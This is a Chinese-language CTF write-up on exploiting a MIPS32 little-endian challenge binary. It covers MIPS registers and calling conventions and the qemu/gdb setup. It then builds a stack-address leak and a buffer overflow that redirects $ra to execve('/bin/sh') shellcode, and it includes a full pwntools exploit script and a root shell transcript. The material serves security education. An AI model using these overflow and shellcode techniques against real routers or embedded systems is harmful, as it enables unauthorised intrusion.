异构 Pwn 之 Mips32
0x00 简介
平时接触的Pwn
题目都是x86/x64
,长久以来难免产生厌倦,今天就让来看看mips
平台下是如何利用的。
0x01 Mips初探
1.1 Mips 简介
mips
和x86
一样属于一种cpu
架构,mips
是大端(big-endian)
架构,而mipsel
是小端(little-endian)
架构。
1.2 Mips 小tips
1.mips
汇编不同于x86
汇编,属于精简指令集,常见于路由器等一些嵌入式设备中。
2.mips
汇编没有对堆栈的直接操作,也就是没有push
和pop
指令,mips
汇编中保留了32
个通用寄存器,但是不同于x86
汇编,mips
汇编中没有ebp/rbp
寄存器。
3.mips
每条指令都用固定的长度,每条指令都是四个字节,所以内存数据的访问必须以32
位严格对齐,这一点也不同于x86
汇编。
1.3 Mips Pwn 需要的知识
1.3.1 寄存器
MIPS32
寄存器分为两类:通用寄存器(GPR
)和特殊寄存器。
| 编号 | 寄存器名称 | 描述 | :------ | :--------- | :----------------------------------------------------- | $0 | $zero | 第0号寄存器,其值始终为0。 | $1 | $at | 保留寄存器 | $2-$3 | $v0-$v1 | values,保存表达式或函数返回结果 | $4-$7 | $a0-$a3 | argument,作为函数的前四个参数 | $8-$15 | $t0-$t7 | temporaries,供汇编程序使用的临时寄存器 | $16-$23 | $s0-$s7 | saved values,子函数使用时需先保存原寄存器的值 | $24-$25 | $t8-$t9 | temporaries,供汇编程序使用的临时寄存器,补充$t0-$t7。 | $26-$27 | $k0-$k1 | 保留,中断处理函数使用 | $28 | $gp | global pointer,全局指针 | $29 | $sp | stack pointer,堆栈指针,指向堆栈的栈顶 | $30 | $fp | frame pointer,保存栈指针 | $31 | $ra | return address,返回地址
1.3.2 传参方式
用$a0~$a3
传递函数的前4
个参数,a
为argument
的缩写,多余的参数用栈传递。
1.3.3 函数返回值
一般用$v0~$v1
寄存器传递。v也就是value
的缩写。
1.3.4 跳转指令
j
指令跳转到某个标签处,单纯的jmp
。
jr
指令用于跳转到寄存器里的地址值指向的地方。
jal
跳转时,会将返回地址存入$ra
寄存器。
jalr
与jal
指令类似,只不过后面的对象为寄存器,并执行下一条语句(一般为nop
)。
$ra
寄存器,ra
为,return address
的缩写,一般用于存储返回地址,一个函数结尾往往会从栈里弹出一个值赋值给$ra
寄存器,然后jr
$ra
。
1.3.5 内存读取指令
sw register,addr
指令,sw
即store word
的缩写(对应的有store byte
),将register
寄存器里的值写入到addr
地址处,说了这么多其实就是出栈。
lw register,addr
指令,lw
即load word
的缩写(对应的有load byte
),读取addr
处的数据,放入register
寄存器。入栈。
1.3.6 寻址
la
指令,相当于x86
的lea
。
lai
指令,i
的意思是immediate
立即数,即后面的对象为立即数。
la $a0,1($s0)
指令,带有偏移的寻址,它的作用是$a0 = 1 + $s0
。
0x02 小栗题
2.1 例行检查
Arch: mips-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: MIPS R3000
Version: 0x1
Entry point address: 0x400640
Start of program headers: 52 (bytes into file)
Start of section headers: 4248 (bytes into file)
Flags: 0x50001007, noreorder, pic, cpic, o32, mips32
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 9
Size of section headers: 40 (bytes)
Number of section headers: 26
Section header string table index: 25
经过调查这个犯罪嫌疑题是mips32
位小端序,动态链接,保护全关,我们后续可以使用qemu
来运行。
2.2 Mips 运行环境
1.首先的话需要安装一个mips
的交叉编译环境,安装完成以后就可以自己编译mips
程序,可以使用qemu
运行程序。
sudo apt install linux-libc-dev-mips-cross libc6-mips-cross libc6-dev-mips-cross binutils-mips-linux-gnu大端sudo apt install gcc-mips-linux-gnu g++-mips-linux-gnu小端sudo apt install gcc-mipsel-linux-gnu g++-mipsel-linux-gnu
安装qemuhttps://blog.csdn.net/weixin_38227420/article/details/88402738
2.程序是一个动态链接的mips
小端序的32
位可执行程序,所以我们使用qemu
运行的时候需要注意一下。
qemu-mipsel -L ./ ./Mplogin
|>19:06:46<|(^ω^)$qemu-mipsel -L ./ ./Mplogin -----we1c0me t0 MP l0g1n s7stem-----Username :
3.我们还需要用gdb
进行调试,所以需要gdb-multiarch
,本地起一个。
qemu-mipsel -g 12345 -L ./ ./Mplogin
gdb-multiarchset architecture mips 设置架构set endian little 设置大小段symbol-file ./mplogin/Mplogin 导入调试文件的符号表target remote 127.0.0.1:12345 连接远程调试
但是每次调试都得重新设置,有点麻烦,所以我们可以在目录中创建一个.gdbinit
。
内容set architecture mipsset endian littlesymbol-file ./Mplogintarget remote 127.0.0.1:12345
但是我发现他不好用,默认还是使用/root/.gdbinit
下的配置文件,后来找到了问题所在。
新版的gdb从安全角度进行了一些限制,默认./.gdbinit不会加载,如果需要禁止这个安全功能,可以修改~/.gdbinit,添加set auto-load safe-path /。如果只是想加载某个目录下的.gdbinit,可以在~/.gdbinit下添加add-auto-load-safe-path /home/linux/project/Demo/linux/gdb/.gdbinit。
当 GDB(即 GNU Project Debugger)启动时,它在当前用户的主目录中寻找一个名为 .gdbinit的文件;如果该文件存在,则 GDB 就执行该文件中的所有命令。
直接使用gdb-multiarch
即可。
把前期准备工作做完了,后面就可以开始我们的调试利用了。
2.3 题目分析
1.题目main
函数主要有,我已经进行了rename
,就是username
和password
首先进入username
中查看。
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // $a2
int v5; // [sp+18h] [+18h]
setbuf(stdin, 0, envp);
setbuf(stdout, 0, v3);
printf("\x1B[33m");
puts("-----we1c0me t0 MP l0g1n s7stem-----");
v5 = username();
password(v5);
printf("\x1B[32m");
return puts("Now you getshell~");
}
2.跟进username
看一下,这里read
虽然没有溢出,但是没有在末尾添加\x00
在printf
的时候会打印出一部分栈数据,填满以后返回值就是24
。
int sub_400840()
{
char v1[24]; // [sp+18h] [+18h] BYREF
memset(v1, 0, sizeof(v1));
printf("\x1B[34m");
printf("Username : ");
read(0, v1, 24);
if ( strncmp(v1, "admin", 5) )
exit(0);
printf("Correct name : %s", v1);
return strlen(v1);
}
3.第一个read
出现了明显的栈溢出,v3
是传进来的a1+4
变成了28
,在通过V3
的值来控制第二的read
的读入大小,然后造成栈溢出,从而控制程序执行流。
int __fastcall sub_400978(int a1)
{
char v2[20]; // [sp+18h] [+18h] BYREF
int v3; // [sp+2Ch] [+2Ch]
char v4[36]; // [sp+3Ch] [+3Ch] BYREF
v3 = userlen + 4; // 28
printf("\x1B[31m");
printf("Pre_Password : ");
read(0, v2, 36); //v2 48
printf("Password : ");
read(0, v4, v3); //v3 34 v4 24
if ( strncmp(v2, "access", 6) || strncmp(v4, "0123456789", 10) )
exit(0);
return puts("Correct password : **********");
}
4.第一次payload:"admin" + ‘a'*19
填满第一次read
。
第二次payload: "access" + "a"*14 + p32(0x200)
填满第二次read
并覆盖变量v3
。
第三次payload:”0123456789“ + "a"*30 + 栈顶地址 + shellcode
填满第三次read,
将ra
覆盖为栈顶地址并写入shellcode
执行。
2.4 调试
1.$sp
寄存器的值是0x7ffff0a8
,buf
的地址在$sp
指向的栈顶加18
字节处,0x7ffff0c0
就是buf
起始地址,我们向buf
填充24
个可见字符的时候就会泄漏0x76fffe0e
后续把shellcode
布置到这个地址就可以。
sa("Username :",'adminaaaaaaaaaaaaaaaaaaa')ru('aaaaaaaaaaaaaaaaaaa')
2.接收泄漏地址。
sa("Username :",'adminaaaaaaaaaaaaaaaaaaaaaaa')ru('aaaaaaaaaaaaaaaaaaa')leak = u32(r(4))log.success(hex(leak))
3.按照我们上面的思路下一步需要覆盖一下v3
,让栈溢出,可以看到两个相差14
。
buf
大小只有20
,我们可以输入36
,也造成了缓冲区溢出,正好可以覆盖我们的length
,我们可以调试一下看看,初始的时候length
长度是多少。
int __fastcall password(int userlen)
{
char buf[20]; // [sp+18h] [+18h] BYREF
int length; // [sp+2Ch] [+2Ch]
char v4[36]; // [sp+3Ch] [+3Ch] BYREF
length = userlen + 4;
printf("\x1B[31m");
printf("Pre_Password : ");
read(0, buf, 36);
printf("Password : ");
read(0, v4, length);
if ( strncmp(buf, "access", 6) || strncmp(v4, "0123456789", 10) )
exit(0);
return puts("Correct password : **********");
}
看到V0
寄存器length
长度是0x23
也就是35
为什么是35
呢?我们看一下payload
。
sa("Username :",'adminaaaaaaaaaaaaaaaaaaa\x00')
这里是24
个,还有下面泄漏的数据也要加上,这就是31
个,password
里面的length = userlen + 4;
这段就是35
个,而v4
的大小是36
不能造成溢出,就需要我们在read(0, buf, 36);
处修改length
的大小造成溢出。
2.5 溢出来了?
先看一下length
没有被覆盖在栈中的位置及大小。
我们把它覆盖掉再看,二伯了已经。这就造成了下面的一个read
栈溢出。
payload = "access" + 14*'a' + p32(0x200)
s(payload)
2.6 getshell
首先既然造成了栈溢出,我们就需要测一下偏移,下一个断点在0x0400AE4
处,然后填充。
pwndbg> cyclic -l aaia 30
这样的话就可以构造payload
了。
sa("Password : ","0123456789" + 'a'* 30 +p32(leak)+asm(shellcraft.sh()))
程序的$ra
寄存器已经返回到了0x76fff0e0
,而这里面存放的是我们的shellcode
,从而执行拿到shell
。
*V0 0xfab
V1 0x1
A0 0x76fff0d4 ◂— '//bin/sh'
A1 0x76fff0c0 —▸ 0x76fff0c8 ◂— tltu $zero, $zero, 0x1a1 /* 0x6873; 'sh' */
A2 0x76fff0cc ◂— 0
A3 0x0
T0 0x76ffef50 ◂— 0
T1 0x6873
T2 0x0
T3 0x0
T4 0x767e604c ◂— 0
T5 0x1
T6 0xfffffff
T7 0x400567 ◂— 'strlen'
T8 0x18
T9 0xfffffffb
S0 0x76806010 ◂— 0
S1 0x4005d8 (_init) ◂— lui $gp, 2 /* 0x3c1c0002 */
S2 0x0
S3 0x0
S4 0x0
S5 0x0
S6 0x0
S7 0x0
S8 0x61616161 ('aaaa')
FP 0x0
SP 0x76fff0c0 —▸ 0x76fff0c8 ◂— tltu $zero, $zero, 0x1a1 /* 0x6873; 'sh' */
*PC 0x76fff150 ◂— syscall 0x40404 /* 0x101010c */
─────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
0x76fff13c add $a1, $sp, $a1
0x76fff140 sw $a1, -4($sp)
0x76fff144 addi $sp, $sp, -4
0x76fff148 add $a1, $sp, $zero
0x76fff14c ori $v0, $zero, 0xfab
► 0x76fff150 syscall 0x40404 <SYS_execve>
path: 0x76fff0d4 ◂— '//bin/sh'
argv: 0x76fff0c0 —▸ 0x76fff0c8 ◂— 0x6873 /* 'sh' */
envp: 0x76fff0cc ◂— 0x0
0x76fff154 movz $zero, $zero, $zero
0x76fff158 nop
0x76fff15c sll $v0, $zero, 0
0x76fff160 jalx 0x7a018040
0x76fff164 jalx 0x79f9c000
──────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────
00:0000│ a1 sp 0x76fff0c0 —▸ 0x76fff0c8 ◂— tltu $zero, $zero, 0x1a1 /* 0x6873; 'sh' */
01:0004│ 0x76fff0c4 ◂— 0
02:0008│ 0x76fff0c8 ◂— tltu $zero, $zero, 0x1a1 /* 0x6873; 'sh' */
03:000c│ a2 0x76fff0cc ◂— 0
04:0010│ 0x76fff0d0 ◂— 0
05:0014│ a0 0x76fff0d4 ◂— '//bin/sh'
06:0018│ 0x76fff0d8 ◂— 'n/sh'
07:001c│ 0x76fff0dc ◂— 0
────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────
► f 0 0x76fff150
2.7 EXP
# -*- coding: UTF-8 -*-
import sys
from pwn import *
context(arch='mips',endian='little',log_level='debug')
# context.log_level = 'debug'
shell = lambda : p.interactive()
s = lambda buf: p.send(buf)
ss = lambda buf: p.send(str(buf))
sl = lambda buf: p.sendline(buf)
ssl = lambda buf: sl(str(buf))
sa = lambda delim, buf: p.sendafter(delim, buf)
ssa = lambda delim, buf: sa(delim, str(buf))
sla = lambda delim, buf: p.sendlineafter(delim, buf)
r = lambda n: p.recv(n)
ra = lambda t=tube.forever:p.recvall(t)
ru = lambda delim, drop=False: p.recvuntil(delim, drop)
rl = lambda: p.recvline()
e4 = lambda logg : log.success(logg)
def gdb_attach():
os.system('gnome-terminal -x sh -c "gdb-multiarch -ex \'b * 0x0400AE4 \'"')
if sys.argv[1] == 'p':
p = process(["qemu-mipsel","-L","./","./Mplogin"])
sleep(1)
else:
p = process(["qemu-mipsel","-g","12345","-L","./","./Mplogin"])
gdb_attach()
elf = ELF('./Mplogin')
libc = ELF('./lib/libc.so.0')
# shellcode = "\xff\xff\x06\x28\xff\xff\xd0\x04\xff\xff\x05\x28\x01\x10\xe4\x27\x0f\xf0\x84\x24\xab\x0f\x02\x24\x0c\x01\x01\x01/bin/sh"
sa("Username :","adminaaaaaaaaaaaaaaaaaaa")
ru('aaaaaaaaaaaaaaaaaaa')
leak = u32(r(4))
e4(hex(leak))
# ru("Pre_Password : ")
# payload = "access"
payload = "access" + 14*'a' + p32(0x200)
s(payload)
sla("Password : ","0123456789" + 'a'* 30 +p32(leak)+asm(shellcraft.sh()))
shell()
[*] Switching to interactive mode
[DEBUG] Received 0x29 bytes:
'Password : Correct password : **********\n'
Password : Correct password : **********
$ id
[DEBUG] Sent 0x3 bytes:
'id\n'
[DEBUG] Received 0x27 bytes:
'uid=0(root) gid=0(root) groups=0(root)\n'
uid=0(root) gid=0(root) groups=0(root)
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。